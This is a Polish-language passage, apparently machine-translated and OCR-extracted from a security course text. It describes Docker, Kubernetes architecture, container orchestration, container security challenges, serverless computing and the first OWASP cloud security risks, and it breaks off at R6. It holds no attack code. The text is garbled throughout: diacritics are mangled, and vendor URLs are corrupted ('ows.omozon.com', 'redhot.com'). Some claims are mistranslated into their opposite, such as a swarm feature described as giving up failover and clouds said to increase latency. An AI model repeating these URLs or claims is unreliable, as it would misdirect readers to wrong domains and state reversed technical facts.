platformy Docker. Docker CLI stuzy do tworzenia roju, wdrazania aplikacji w roju i obstugi jego
aktywnosci lub zachowania. Tryb roju umozliwia administratorom i programistom

Komunikuj sie z kontenerami i przypisuj zadania do réznych konteneréw
Zwieksz lub zmniejsz liczbe konteneréw w zaleznosci od tadunku
Przeprowadz kontrole stanu i obstuguj cykl zycia réznych kontenerow

Zrezygnowac z przetgczania awaryjnego i redundancji, aby kontynuowac proces nawet w przypadku
awarii weztfa

Wykonuj na czas aktualizacje oprogramowania dla wszystkich konteneréw
Architektura Dockera

Architektura Docker wykorzystuje model klient/serwer i sktada sie z réznych komponentdéw, takich jak
host, klient, sie¢, rejestr i inne jednostki pamieci masowej. Klient Docker wspétdziata z demonem
Docker, ktéry opracowuje, uruchamia i dystrybuuje kontenery. Klienci Daemon i Docker mogg
wykonywac operacje na tym samym hoscie; alternatywnie uzytkownicy mogg potaczy¢ klienta Docker
ze zdalnymi demonami. Komunikacja miedzy klientem Docker a demonem serwera Docker odbywa sie
za posrednictwem REST API. Ponizej omdwiono rézne komponenty architektury Docker:



Demon Dockera: Demon Dockera (dockerd) przetwarza zgdania APl i obstuguje rézne obiekty Dockera,
takie jak kontenery, woluminy, obrazy i sieci.

Docker Client: Jest to podstawowy interfejs, za posrednictwem ktérego uzytkownicy komunikujg sie z
Dockerem. Gdy inicjowane sg polecenia, takie jak docker run, klient przekazuje powigzane polecenia
do dockerd, ktéry nastepnie je wykonuje. Polecenia platformy Docker uzywajg interfejsu API platformy
Docker do komunikaciji.

Rejestry Docker: Rejestry Docker to lokalizacje, w ktérych obrazy sg przechowywane i pobierane, i
moga by¢ prywatne lub publiczne. Docker Cloud i Docker Hub to dwa popularne rejestry publiczne.
Docker Hub to predefiniowana lokalizacja obrazéw Dockera, z ktdrej mogg korzysta¢ wszyscy
uzytkownicy.

Obiekty Dockera: Obiekty Dockera sg uzywane do sktadania aplikacji. Najwazniejsze obiekty Dockera
to:

o Obrazy: obrazy stuzg do przechowywania i wdrazania kontenerdow. Sg to szablony binarne tylko do
odczytu z instrukcjami tworzenia kontenerdéw.

o Kontenery: zasoby aplikacji dziatajg wewnatrz konteneréw. Kontener jest wykonalng instancjg
obrazu aplikacji. Do tworzenia, uruchamiania, zatrzymywania i niszczenia tych konteneréw uzywany
jest Docker CLI lub API.

o Ustugi: Ustugi umozliwiajg uzytkownikom zwiekszenie liczby konteneréw miedzy demonami i razem
stuzg jako roj z kilkoma menedzerami i pracownikami. Kazdy cztonek roju jest demonem, a wszystkie
te demony moga wchodzi¢ ze sobg w interakcje za pomocg Docker API.

o Networking: Jest to kanat, przez ktéry komunikujg sie wszystkie izolowane kontenery.

o Woluminy: Jest to magazyn, w ktédrym przechowywane s3 trwate dane utworzone przez Dockera i
uzywane przez kontenery Dockera.

Operacje Dockera

Typowe operacje wykonywane przez obrazy platformy Docker obejmujg
Budowanie nowego obrazu z pliku Dockerfile

Lista wszystkich obrazéw lokalnych

Oznaczanie istniejgcego obrazu

Pobieranie nowego obrazu z rejestru Dockera

Wypychanie obrazu lokalnego do rejestru platformy Docker
Wyszukiwanie istniejgcych obrazow

Mikroserwisy vs. Doker

Aplikacje monolityczne sg podzielone na podaplikacje hostowane w chmurze, zwane mikroustugami,
ktére wspodtpracuja ze soba, a kazda z nich wykonuje unikalne zadanie. Mikroustugi dzielg i
rozprowadzajg obcigzenie aplikacji, zapewniajgc stabilne, bezproblemowe i skalowalne ustugi poprzez
interakcje ze soba. Aplikacje monolityczne sg rozktadane wokdét mozliwosci biznesowych, ktére
wspierajg zespoty wielofunkcyjne w opracowywaniu, wspieraniu i wdrazaniu mikroustug. W
pordwnaniu z tradycyjnymi modelami przechowywania danych uzywanymi przez aplikacje



monolityczne, mikroustugi zdecentralizujg przechowywanie danych, zarzadzajagc wtasnymi
magazynami danych. Deweloperzy tworzg kontener Docker dla kazdej mikroustugi. Poniewaz kazda
mikroustuga jest umieszczana w kontenerze wraz z wymaganymi bibliotekami, strukturami i plikami
konfiguracyjnymi, mikroustugi nalezgce do jednej aplikacji moga by¢ opracowywane i zarzadzane przy
uzyciu wielu platform.

Sie¢ Dockera

Docker umozliwia taczenie ze sobg wielu kontenerdw i ustug lub innych obcigzen innych niz Docker.
Moze zarzadzaé hostami Docker dziatajgcymi na wielu platformach, takich jak Linux i Windows, w
sposdb niezalezny od platformy. Architektura sieciowa Docker jest rozwijana na zestawie interfejséw
znanych jako model sieci kontenerowej (CNM), ktéry zapewnia przenosnos¢ aplikacji w
heterogenicznych infrastrukturach. CNM obejmuje wiele konstrukcji wysokiego poziomu, jak
omaéwiono ponize;j:

Piaskownica: Piaskownica obejmuje konfiguracje stosu sieci konteneréw do zarzadzania interfejsami

kontenerdw, tabelami routingu i ustawieniami systemu nazw domen (DNS).

Punkt koricowy: aby zachowac przenosnosc aplikacji, punkt kofcowy jest podiaczony do sieci i
oddzielony od aplikacji, dzieki czemu ustugi mogg implementowacd rézne sterowniki sieciowe.

Sie¢: Sie¢ to pofaczony zbiér punktéw koncowych. Punkty koncowe, ktdre nie majg potfaczenia
sieciowego, nie mogg komunikowac sie przez siec.

CNM zawiera dwa podtfaczane interfejsy sterownikéw, ktdre zapewniajg dodatkowg funkcjonalnos¢ i
kontrole nad siecig.

Sterowniki sieciowe: Sie¢ dziata poprzez implementacje sterownikdw sieciowych Docker. Sterowniki te
mozna podtaczaé, dzieki czemu w tej samej sieci mozna uzywac wielu sterownikow sieciowych
jednoczesnie. Istniejg dwa rodzaje sterownikéw sieciowych CNM; mianowicie natywne i zdalne
sterowniki sieciowe.

Sterowniki IPAM: sterowniki zarzgdzania adresami IP (IPAM) przypisujg domysine adresy podsieci i
adresy IP do punktéw koricowych i sieci, jesli nie sg one przypisane.

Silnik Docker zawiera pie¢ natywnych sterownikéw sieciowych, jak oméwiono ponize;j:
Host: Za pomoca sterownika hosta kontener implementuje stos sieciowy hosta.

Mostek: sterownik mostka stuzy do tworzenia mostka systemu Linux na hoscie zarzgdzanym przez
platforme Docker.

Nakfadka: Sterownik nakfadki jest uzywany do umozliwienia komunikacji kontenerowej przez fizyczna
infrastrukture sieciowa.

MACVLAN: Sterownik macvlan jest uzywany do tworzenia potgczenia sieciowego miedzy interfejsami
konteneréw a nadrzednym interfejsem hosta lub podinterfejsami przy uzyciu trybu mostka Linux
MACVLAN.

Brak: Zaden sterownik nie implementuje wtasnego stosu sieciowego i jest catkowicie odizolowany od
stosu sieciowego hosta.

Docker zawiera rowniez trzy zdalne sterowniki stworzone przez spoteczno$é lub dostawcow, ktére sg
kompatybilne z CNM:



Contiv: Contiv to wtyczka sieciowa typu open source wprowadzona przez Cisco w celu budowania
zasad bezpieczenistwa i infrastruktury dla wdrozen mikroustug dla wielu dzierzawcéw.

Weave: Weave to wtyczka sieciowa stuzgca do budowania sieci wirtualnej do tgczenia konteneréw
Docker rozmieszczonych w wielu chmurach.

Kuryr: Kuryr to wtyczka sieciowa, ktéra implementuje zdalny sterownik Docker libnetwork przy uzyciu
Neutron, ustugi sieciowej OpenStack, a takze zawiera sterownik IPAM.

Orkiestracja konteneréw

Orkiestracja konteneréw to zautomatyzowany proces zarzadzania cyklami zycia kontenerdéw
oprogramowania i ich dynamicznych S$rodowisk. Stuzy do planowania i dystrybucji pracy
poszczegdlnych kontenerdow dla aplikacji opartych na mikroustugach rozproszonych w wielu klastrach.
Rdzne zadania mozna zautomatyzowacd za pomocg programu Container Orchestrator, takiego jak

Dostarczanie i wdrazanie konteneréw
Przetaczanie awaryjne i nadmiarowosc konteneréw

Tworzenie lub niszczenie kontenerdw w celu réwnomiernego roztozenia obcigzenia w infrastrukturze
hosta

Przenoszenie kontenerdw z jednego hosta na inny w przypadku wyczerpania zasobdw lub awarii hosta
Automatyczna alokacja zasobdw miedzy kontenerami

Udostepnianie uruchomionych ustug srodowisku zewnetrznemu

Rownowazenie obcigzenia, kierowanie ruchu i wykrywanie ustug miedzy kontenerami
Przeprowadzanie kontroli stanu uruchomionych konteneréw i hostéw

Zapewnienie dostepnosci konteneréw

Konfigurowanie konteneréw zwigzanych z aplikacjami

Zabezpieczenie komunikacji miedzy kontenerami

Co to jest Kubernetes?

Kubernetes, znany rowniez jako K8s, to przenosna, rozszerzalna platforma orkiestracyjna typu open
source opracowana przez Google do zarzadzania kontenerowymi aplikacjami i mikroustugami.
Kontenery zapewniajg wydajny sposdéb pakowania i uruchamiania aplikacji. W $rodowisku
produkcyjnym dziatajgcym w czasie rzeczywistym kontenery muszg by¢ efektywnie zarzadzane, aby
ograniczy¢ przestoje do zera. Na przyktad, jesli kontener ulegnie awarii, inny kontener zostanie
automatycznie uruchomiony. Aby przezwyciezyé te problemy, Kubernetes zapewnia odporng
platforme do zarzadzania rozproszonymi kontenerami, generowania wzorcdw wdrozen oraz
wykonywania przetgczania awaryjnego i redundancji dla aplikacji.

Funkcje dostarczane przez Kubernetes:
Wykrywanie ustug: Kubernetes umozliwia wykrywanie ustug za pomocg nazwy DNS lub adresu IP.

Réwnowazenie obcigzenia: gdy kontener odbiera duzy ruch, Kubernetes automatycznie rozdziela ruch
do innych kontenerdéw i przeprowadza rGwnowazenie obcigzenia.



Orkiestracja pamieci masowej: Kubernetes umozliwia programistom montowanie wtasnych funkcji
pamieci masowej, takich jak lokalna i publiczna pamie¢ masowa w chmurze.

Zautomatyzowane wdrazanie i wycofywanie: Kubernetes automatyzuje proces tworzenia nowych
kontenerdw, niszczenia istniejagcych konteneréw i przenoszenia wszystkich zasobdéw z jednego
kontenera do drugiego.

Automatyczne pakowanie do kosza: Kubernetes moze zarzadzac¢ klastrem weztéw, na ktérych dziatajg
aplikacje kontenerowe. Jesli okreslisz zasoby potrzebne do uruchomienia kontenera, takie jak moc
obliczeniowa i pamieé, Kubernetes moze automatycznie przydziela¢ i zwalniaé zasoby do kontenerdw.

Samonaprawianie: Kubernetes automatycznie sprawdza stan konteneréw, zastepuje uszkodzone
kontenery nowymi kontenerami, niszczy uszkodzone kontenery i unika reklamowania niedostepnych
kontenerdéw klientom.

Zarzadzanie kluczami tajnymi i konfiguracjg: Kubernetes umozliwia uzytkownikom przechowywanie
poufnych informacji, takich jak poswiadczenia, klucze SSH i tokeny OAuth, oraz zarzgdzanie nimi.
Konfiguracje aplikacji i poufne informacje mozina wdraza¢ i aktualizowa¢ bez koniecznosci
przebudowywania obrazéw kontenerdw.

Architektura klastra Kubernetes

Po wdrozeniu Kubernetes generowane s3 klastry. Klaster to grupa komputeréw zwanych weztami,
ktére wykonujg aplikacje wewnatrz kontenerdw zarzgdzanych przez Kubernetes. Klaster sktada sie z
co najmniej jednego wezta gtdwnego i jednego wezta roboczego. Wezty robocze zawierajg pody (grupe
kontenerdw), ktorymi zarzadza wezet gtéwny. Ponizszy rysunek przedstawia rézne komponenty
architektury klastra Kubernetes:
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Komponenty gtéwne: Komponenty wezta gtéwnego zapewniajg panel sterowania klastrem i wykonujg
rozne czynnosci, takie jak planowanie, wykrywanie i obstuga zdarzen klastra. Te komponenty gtéwne
moga by¢ wykonywane przez dowolny komputer w klastrze.

o Kube-apiserver: Serwer API jest integralng czescig panelu kontrolnego Kubernetes, ktéry odpowiada
na wszystkie zgdania API. Stuzy jako narzedzie front-end dla panelu sterowania i jest jedynym
komponentem, ktory wspdtdziata z klastrem etcd i zapewnia przechowywanie danych.

o Klaster Etcd: Jest to rozproszony i spdjny magazyn klucz-wartos¢, w ktérym przechowywane sg dane
klastra Kubernetes, szczegbty wykrywania ustug, obiekty APl itp.



o Kube-scheduler: Kube-scheduler jest gtéwnym komponentem, ktdry skanuje nowo wygenerowane
pody i przydziela im wezet. Przypisuje wezty na podstawie takich czynnikéw, jak ogdlne
zapotrzebowanie na zasoby, lokalizacja danych, ograniczenia programowe/sprzetowe/polityki oraz
wewnetrzne interwencje zwigzane z obcigzeniem.

o Kube-controller-manager: Kube-controller-manager to gtéwny komponent, ktdry uruchamia
kontrolery. Kontrolery sg na ogét pojedynczymi procesami (np. kontrolerem wezta, kontrolerem
punktu kofncowego, kontrolerem replikacji, kontem ustugi i kontrolerem tokena), ale s potgczone w
jeden plik binarny i dziatajg razem w jednym procesie w celu zmniejszenia ztozonosci.

o cloud-controller-manager: Jest to gtéwny komponent uzywany do uruchamiania kontroleréow, ktére
komunikujg sie z dostawcami chmury. Cloud-controller-manager umozliwia osobng ewolucje kodu
Kubernetes i kodu dostawcy chmury.

o Komponenty wezta: komponenty wezta lub procesu roboczego dziatajg na kazdym wezle w klastrze,
zarzadzajgc dziatajgcymi zasobnikami i dostarczajgc ustugi Srodowiska uruchomieniowego Kubernetes.

o Kubelet: Kubelet to wazny agent ustug, ktdéry dziata w kazdym wezle i zapewnia dziatanie konteneréw
w pod. Zapewnia rowniez, ze strgki i pojemniki sg zdrowe i dziatajg zgodnie z oczekiwaniami. Kubelet
nie obstuguje kontenerdw, ktére nie sg generowane przez Kubernetes.

o Kube-proxy: Jest to sieciowa ustuga proxy, ktéra dziata réwniez na kazdym wezle roboczym. Ta ustuga
obstuguje reguty sieciowe, ktére umozliwiajg potgczenie sieciowe z zasobnikami.

o Container Runtime: Container Runtime to oprogramowanie przeznaczone do uruchamiania
kontenerdw. Kurbernetes obstuguje rézne srodowiska uruchomieniowe kontenerdw, takie jak Docker,
rktlet, containerd i cri-o.

Kubernetes vs. Doker

Jak omdéwiono powyzej, Docker to oprogramowanie typu open source, ktére mozna zainstalowac na
dowolnym hoscie w celu budowania, wdrazania i uruchamiania aplikacji kontenerowych w jednym
systemie operacyjnym. Konteneryzacja izoluje uruchomione aplikacje od innych ustug i aplikacji
dziatajacych w systemie operacyjnym hosta. Kubernetes to platforma orkiestracji konteneréw, ktéra
automatyzuje proces tworzenia, zarzadzania, aktualizowania, skalowania i niszczenia kontenerdw.
Zarowno Docker, jak i Kubernetes sg oparte na architekturze mikroserwiséow, sg zbudowane przy
uzyciu jezyka programowania Go do wdrazania matych, lekkich plikéw binarnych oraz wykorzystuja
plik YAML do okreslania konfiguracji aplikacji i stoséw. Gdy Kubernetes i Docker sg ze sobg potfaczone,
zapewniajg wydajne zarzadzanie i wdrazanie konteneréw w rozproszonej architekturze. Gdy Docker
jest zainstalowany na wielu hostach z réznymi systemami operacyjnymi, mozesz uzy¢ Kubernetes do
zarzadzania tymi hostami Docker poprzez dostarczanie kontenerdw, réwnowazenie obcigzenia,
przetgczanie awaryjne i skalowanie i bezpieczenstwo.

Klastry i kontenery
Grupa

Klaster odnosi sie do zestawu dwdch lub wiecej potagczonych weztéw, ktére dziatajg rownolegle w celu
wykonania zadania. Obcigzenia z indywidualnymi, mozliwymi do zréwnoleglenia zadaniami sg
wspoétuzytkowane przez wezty. Zadania te wykorzystujg potgczong pamie¢ i moc obliczeniowa
wszystkich weztéw w klastrze. Jeden z weztéw petni funkcje wezta nadrzednego, ktory jest
odpowiedzialny za przydziat pracy, pobieranie wynikéw i udzielanie odpowiedzi.



Rodzaje przetwarzania klastrowego
Ponizej podano rézne typy klastréw.

o Wysoce Dostepny (HA) lub Fail-over: W klastrze awaryjnym wiecej niz jeden wezet dziata
jednoczesnie, oferujac wysokg dostepnosé (HA) lub ciggtg dostepnosé (CA). Jesli jeden wezet ulegnie
awarii, drugi wezet przejmuje odpowiedzialno$é przy minimalnym lub zerowym przestoju.

o Rédwnowazenie obcigzenia: w klastrze z réwnowazeniem obcigzenia obcigzenie jest rozdzielane
miedzy wezty, aby unikng¢ przecigzenia pojedynczego wezta. Modut réwnowazenia obcigzenia
przeprowadza okresowe kontrole kondycji kazdego wezta w celu zidentyfikowania awarii wezta i
przekierowuje ruch przychodzacy do innego wezta. Klaster réwnowazenia obcigzenia jest réwniez
klastrem o wysokiej dostepnosci.

o Wysokowydajne przetwarzanie danych: W klastrze wysokowydajnych obliczen (HPC) wezlty s3
skonfigurowane tak, aby zapewniaty ekstremalng wydajnos¢ dzieki rownolegtosci zadan. Skalowanie
pomaga rowniez w maksymalizacji wydajnosci.

Klastry w chmurze

Klastry w chmurze to zestawy weztdw hostowanych na maszynach wirtualnych (VM) i czesto s3
potfaczone z wirtualnymi chmurami prywatnymi. Klastrowanie w chmurze minimalizuje wysitek i czas
potrzebny do ustanowienia klastra. W $rodowisku chmurowym klastry mozna skalowa¢ w gére na
zadanie, tatwo dodajac dodatkowe zasoby lub instancje, takie jak maszyny wirtualne. Chmura
zapewnia réwniez elastycznos¢ aktualizacji infrastruktury zgodnie ze zmianami wymagan. Ponadto
chmura zwieksza opdznienia i odpornos¢ poprzez wdrazanie weztéw w wielu strefach dostepnosci.
Klastrowanie w chmurze maksymalizuje dostepnos¢, bezpieczenstwo i tatwos¢ konserwacji klastra.

Kontenery i ich relacje z klastrami

Kontenery pomagaja w niezawodnym uruchamianiu aplikacji w roéinych srodowiskach
komputerowych. Na przyktad organizacja opracowuje aplikacje internetowa budujgcag frontend i
backend jako mikroustugi. Aby wdrozy¢ te aplikacje internetowg, kontenery mozna wypchng¢ na
maszyne wirtualng w chmurze. Jesli maszyna wirtualna lub sprzet ulegnie awarii, aplikacja bedzie
niedostepna, dopdki ruch nie zostanie obstuzony przez serwer awaryjny. Aby zwiekszy¢ dostepnosé,
skalowalnosc¢ i wydajnosc aplikacji internetowych, umiesc¢ konteneryzowane aplikacje na kilku weztach
w klastrze. W rezultacie kontenery dziatajgce w rézinych weztach maksymalizujg wykorzystanie
zasobow. Ponadto ryzyko awarii pojedynczego wezta mozna wyeliminowaé, umieszczajac instancje
kontenera na kazdym wezle w klastrze.

Wyzwania zwigzane z bezpieczeristwem konteneréw

Organizacje powszechnie przyjmujg platformy oparte na kontenerach ze wzgledu na ich funkcje (np.
elastyczno$é, ciggte dostarczanie aplikacji, wydajne wdrazanie). Jednak szybki rozwdj i
rozpowszechnianie technologii konteneréw spowodowaty wiele wyzwah zwigzanych z
bezpieczernstwem. Ponizej omdwiono niektdre z wyzwan zwigzanych z bezpieczeristwem kontenerdéw:

Naptyw podatnego na ataki kodu Zrédtowego

Kontenery stanowig platforme typu open source uzywang przez programistéw do regularnego
aktualizowania, przechowywania i uzywania obrazéw w repozytorium. Powoduje to ogromny
niekontrolowany kod, ktdry moze zawiera¢ luki w zabezpieczeniach, ktére mogg zagrozié
bezpieczenstwu.



Duza powierzchnia ataku

System operacyjny hosta sktada sie z wielu kontenerdw, aplikacji, maszyn wirtualnych i baz danych w
chmurze lub lokalnie. Duza powierzchnia ataku implikuje duzg liczbe podatnosci i zwiekszong trudnos¢
w ich wykryciu.

Brak widocznosci

Silnik kontenera uruchamia kontener, tgczy sie z jadrem Linuksa i tworzy kolejng warstwe abstrakgji,
kamuflujac dziatania konteneréw i utrudniajac $ledzenie dziatan okreslonych konteneréw lub
uzytkownikdéw.

Kompromitujace tajemnice

Kontenery wymagajg poufnych informacji, takich jak klucze API, nazwy uzytkownikéw lub hasta, aby
uzyskaé dostep do dowolnych ustug. Atakujacy, ktérzy nielegalnie uzyskujg dostep do tych poufnych
informacji, mogg zagrozi¢ bezpieczenstwu.

Szybkos¢ DevOps

Kontenery moga by¢ wykonywane natychmiast, a po wykonaniu sg zatrzymywane i usuwane. Ta
ulotnos¢ pomaga atakujgcym przeprowadzad ataki i ukrywad sie bez instalowania ztosliwego kodu.

Gtosne sasiednie kontenery

Kontener moze zuzy¢ i wyczerpac wszystkie dostepne zasoby systemowe, co bezposrednio wptywa na
dziatanie innych sgsiednich kontenerdéw, tworzgc atak typu ,,odmowa ustugi” (DoS).

Przebicie kontenera do hosta

Kontenery, ktére dziatajg jako root, mogg ztamac zabezpieczenia i uzyska¢ dostep do systemu
operacyjnego hosta poprzez eskalacje uprawnien.

Ataki sieciowe

Atakujacy mogg wykorzystywaé uszkodzone kontenery z aktywnymi surowymi gniazdami i
wychodzgcymi potgczeniami sieciowymi do przeprowadzania réznych atakéw sieciowych.

Ominiecie izolacji

Atakujacy, po naruszeniu bezpieczenstwa kontenera, mogg eskalowac uprawnienia, aby uzyskac
dostep do innych konteneréw lub samego hosta.

Ztozonos¢ ekosystemu

Kontenery s3 budowane, wdrazane i zarzgdzane przy uzyciu wielu dostawcéw i zrédet. Utrudnia to
zabezpieczanie i aktualizowanie poszczegdlnych komponentéw, poniewaz pochodzg one z réznych
repozytoriow.

Platformy zarzgdzania kontenerami
Ponizej wymieniono rdézne platformy zarzgdzania kontenerami:
Docker

Docker to niezalezna platforma kontenerowa, ktéra pomaga w budowaniu, zarzadzaniu i
zabezpieczaniu wszystkich aplikacji, od tradycyjnych aplikacji po najnowsze mikroustugi, oraz



wdrazaniu ich w Srodowiskach chmurowych. Docker zawiera najnowszg biblioteke zawartosci
kontenerdw i ekosystem z ponad 100 000 obrazéw kontenerdow, ktére umozliwiajg programistom
tworzenie i wdrazanie aplikacji. Docker zawiera réwniez podstawowe bloki konstrukcyjne, takie jak
Docker Desktop, Docker Engine i Docker Hub, do tatwego udostepniania stoséw aplikacji i zarzadzania
nimi.

Amazon Elastic Container Service (Amazon ECS) (https://ows.omozon.com)
Microsoft Azure Container Instances (ACI) ( https://ozure.microsoft.com)
Red Hat OpenShift Container Platform (https://www.redhot.com)
Portainer (https://www.portoiner.io)

Rancher (https://roncher.com)

Platformy Kubernetes

Ponizej wymieniono rdézne platformy Kubernetes:

Kubernetesa

Kubernetes to mechanizm orkiestracji konteneréw typu open source do automatyzacji wdrazania,
skalowania i zarzadzania aplikacjami w kontenerach. Grupuje réwniez rézne kontenery, ktére sktadajg
sie na aplikacje, w kilka jednostek logicznych, co ufatwia zarzadzanie i wykrywanie. Umozliwia
uzytkownikom korzystanie z infrastruktury lokalnej, hybrydowej lub chmurowej w celu migracji
obcigzen z jednego miejsca do drugiego. Kubernetes moze réwniez wdrazaé i aktualizowad sekrety i
konfiguracje aplikacji bez przebudowywania obrazéw kontenerdw i bez ujawniania sekretéw w
konfiguracji stosu.

Amazon Elastic Kubernetes Service (EKS) ( https://ows.omozon.com)
Docker Kubernetes Service (DKS) ( https://www.docker.com)
Knative ( https://cloud.google.com)

IBM Cloud Kubernetes Service (https://www.ibm.com)

Google Kubernetes Engine (GKE) ( https://cloud.google.com)
Przetwarzanie bezserwerowe

Przetwarzanie bezserwerowe to nowa technologia wdrazania opartych na chmurze aplikacji
korporacyjnych zbudowanych na kontenerach i mikroustugach. Przetwarzanie bezserwerowe
zapewnia pfatnos¢ za uzycie funkcjonalnoséci dla konsumentéw, usuwajgc ciezar uruchamiania i
zatrzymywania serwerdéw. Pozwala to programistom przenies¢ uwage z serweréw na zadania.
Deweloperzy korzystajacy z przetwarzania bezserwerowego uzyskujg ogromne korzysci i skalowalnos¢
bez potrzeby posiadania specjalistycznej wiedzy w zakresie przetwarzania w chmurze. W tej sekcji
oméwiono podstawowe pojecia zwigzane z przetwarzaniem bezserwerowym.

Co to jest przetwarzanie bezserwerowe?

Przetwarzanie bezserwerowe, znane réwniez jako architektura bezserwerowa lub FaaS, ma opartg na
chmurze architekture aplikacji, w ktérej infrastruktura aplikacji i ustugi pomocnicze sg dostarczane
przez dostawce chmury w razie potrzeby. Przetwarzanie bezserwerowe upraszcza proces wdrazania
aplikacji i eliminuje potrzebe zarzadzania serwerem i sprzetem przez programistéw. Aplikacje



bezserwerowe nie sg catkowicie bezserwerowe; serwery s3 wymagane, ale nie sg fizycznie dostepne
dla programistédw. W architekturze bezserwerowej kod aplikacji dziata w infrastrukturze hostowanej w
chmurze, zarzadzanej przez zewnetrznego dostawce ustug. Dostawca ustug w chmurze jest
odpowiedzialny za udostepnianie, skalowanie, réwnowazenie obcigzenia i zabezpieczanie
infrastruktury bezserwerowej. Ponadto dostawca ustug w chmurze jest rowniez odpowiedzialny za
zarzadzanie poprawkami systemdw operacyjnych oraz bazowego oprogramowania i ustug.

Zalety:

Wysoka skalowalnosc i elastycznos¢

Szybsze wdrazanie i aktualizacja

Zmniejszony koszt infrastruktury

Brak zarzadzania serwerem

Pta¢ za uzycie

Zmniejszone opdznienia i koszty skalowania

Szybsze udostepnianie zasobdéw

Niskie ryzyko awarii

Brak administracji systemem

Wady :

Zwiekszona luka w zabezpieczeniach

Blokada dostawcy

Trudnosci w zarzadzaniu bezpanstwowoscig

Kompleksowe testy aplikacji end-to-end

Nieprzydatnos$é dtugotrwatych proceséw do przetwarzania bezserwerowego
Bezserwerowe vs. Kontenery

Ponizsza tabela podsumowuje réznice miedzy przetwarzaniem bezserwerowym a kontenerami.
Kontenery : Bezserwerowe przetwarzanie

Deweloper jest odpowiedzialny za zdefiniowanie pliki konfiguracyjne kontenera wraz z systemem
operacyjnym, oprogramowaniem, bibliotekami, pamieciag masowa i siecig ; Nastepnie programista
tworzy z tego obraz pliku, wypycha obraz do rejestru i uruchamia pojemnik z tego obrazu. : Deweloper
musi tylko opracowaé i przeslij kod do obstugi serverless przetwarzanie danych; caty proces
udostepniania jest obstugiwane przez dostawce ustug w chmurze.

Po zainicjowaniu kontener jest uruchamiany w sposéb ciggty, az wywotywacz zatrzyma sie lub niszczy
to. : Po zakonczeniu wykonywania plik serverless funkcja jest automatycznie niszczona przez
srodowisko chmurowe.

Kontener wymaga obstugi serwera nawet wtedy, gdy kontener nie wykonuje zadnych programéw. :
Optaty za wdrozenie bezserwerowe dotyczg tylko zuzytych zasobdw.



Kod nie ma ograniczen czasowych aby biegaé wewnatrz kontenera. : Limit czasu jest wtaczony w
funkcjach bezserwerowych.

Kontenery obstugujg uruchamianie w klastrze wezty hosta. : Bazowa infrastruktura hosta jest
przejrzysta dla programistéw.

Kontenery przechowujg dane w pamieci tymczasowej lub zmapowane woluminy pamieci masowej.:
Funkcje bezserwerowe nie sg obstugiwane jako tymczasowe skfadowanie; zamiast tego dane s3
przechowywane w obiektowym nosniku pamieci.

Kontenery obstuguja zaréwno ztozone aplikacje i lekkie mikroserwisowe.:Funkcje bezserwerowe sg
odpowiednie tylko dla aplikacji mikroserwisowych.

Deweloperzy moga wybrac jezyk i Srodowisko uruchomieniowe dla aplikacji dziatajgcych w srodowisku
a pojemnik. : Wybér jezyka dla funkcji bezserwerowych to ograniczone przez dostawce ustug w
chmurze.

Struktury przetwarzania bezserwerowego

Przetwarzanie bezserwerowe ufatwia uruchamianie kodu i tworzenie aplikacji bez martwienia sie o
zarzadzanie serwerem zaplecza. Ta adopcja przetwarzania bezserwerowego szybko rosnie w wielu
branzach. Ponizej wymieniono niektdrych dostawcow bezserwerowego przetwarzania w chmurze:

Funkcje platformy Microsoft Azure

Microsoft Azure Functions to bezserwerowa platforma obliczeniowa, ktéra umozliwia uzytkownikom
uruchamianie kodu bez udostepniania i zarzadzania serwerami. Jest w petni zautomatyzowany i
zapewnia skalowanie w oparciu o wielkos¢ obcigzenia; ta funkcja pozwala uzytkownikom dodawacd
wiecej wartosci bez myslenia o zarzadzaniu serwerem zaplecza.

AWS Lambda (https://ows.omozon.com)

Google Cloud Functions ( https://cloud.google.com)

IBM Cloud Functions (https://www.ibm.com)

AWS Fargate ( https://ows.omozon.com)

Alibaba Cloud Function Compute ( https://www.olibobocloud.com)
Zagrozenia przetwarzania w chmurze

Wiekszos$¢ organizacji stosuje technologie chmury, poniewaz zmniejsza ona koszty dzieki
zoptymalizowanemu i wydajnemu przetwarzaniu. Solidna technologia chmury oferuje uzytkownikom
korncowym rdzne rodzaje ustug; jednak wiele oséb jest zaniepokojonych krytycznymi zagrozeniami i
zagrozeniami bezpieczenstwa chmury, ktére atakujgcy mogg wykorzysta¢c do naruszenia
bezpieczenstwa danych, uzyskania nielegalnego dostepu do sieci itp. W tej sekcji oméwiono powazne
zagrozenia bezpieczenstwa i luki w zabezpieczeniach systeméw chmurowych.

OWASP 10 najwiekszych zagrozen dla bezpieczeristwa w chmurze

Ponizsza tabela podsumowuje 10 najwiekszych zagrozen dla bezpieczeristwa chmury wedtug OWASP.



Zagrozenie : Opis
R1- Odpowiedzialnos¢ i wtasnos¢ danych:

Organizacje wykorzystujg chmure publiczng do hostowania ustug biznesowych zamiast tradycyjnego
centrum danych.

Czasami korzystanie z chmury powoduje utrate rozliczalnosci danych i kontroli, podczas gdy
korzystanie z tradycyjnego centrum danych pomaga w tym kontrolowanie i zabezpieczanie danych
logicznie i fizycznie.

Korzystanie z chmury publicznej moze zagrozi¢ mozliwosci odzyskania danych i skutkowac krytycznymi
ryzykami, ktére organizacja musi ztagodzié¢ natychmiast.

R2 - Federacja tozsamosci uzytkownikow

Przedsiebiorstwa korzystajg z ustug i aplikacji réznych dostawcéw chmur, tworzgc wiele tozsamosci
uzytkownikéw i komplikujgc zarzadzanie wieloma identyfikatorami uzytkownikéw i poswiadczeniami.

Dostawcy chmury majg mniejszg kontrole nad cyklem zycia uzytkownika /offboarding.
R3 - Zgodnos¢ z przepisami
Zgodnosé z przepisami moze by¢ skomplikowana.

Dane zabezpieczone w jednym kraju mogg nie by¢ zabezpieczone w innym innego kraju ze wzgledu na
brak przejrzystosci i inne przepisy regulacyjne przestrzegane w réznych krajach.

R4 - Ciggtosc¢ biznesowa i odpornos¢

Zapewnienie ciggtosci biznesowej w organizacji IT zapewnia ,ze biznes moze by¢é prowadzony w
sytuacji kleski zywiotowe;.

Gdy organizacje korzystajg z ustug w chmurze, istnieje ryzyko lub straty pieniezne, jesli dostawca
chmury obstuguje dziatalnos¢ nieprawidtowej ciggtosci

R5 - Prywatnos¢ uzytkownika i wtérne wykorzystanie danych

Korzystanie z serwiséw spotecznosciowych stwarza ryzyko dla danych osobowych, poniewaz sg one
przechowywane w chmurze, a wiekszos$¢ dostawcow aplikacji spotecznosciowych wydobywa dane
uzytkownikéw do wtdrnego wykorzystania.

Domyslna funkcja udostepniania w serwisach spotecznosciowych moze zagrozi¢ prywatnosci danych
osobowych uzytkownikéw.

R6 - Integracja ustug i danych

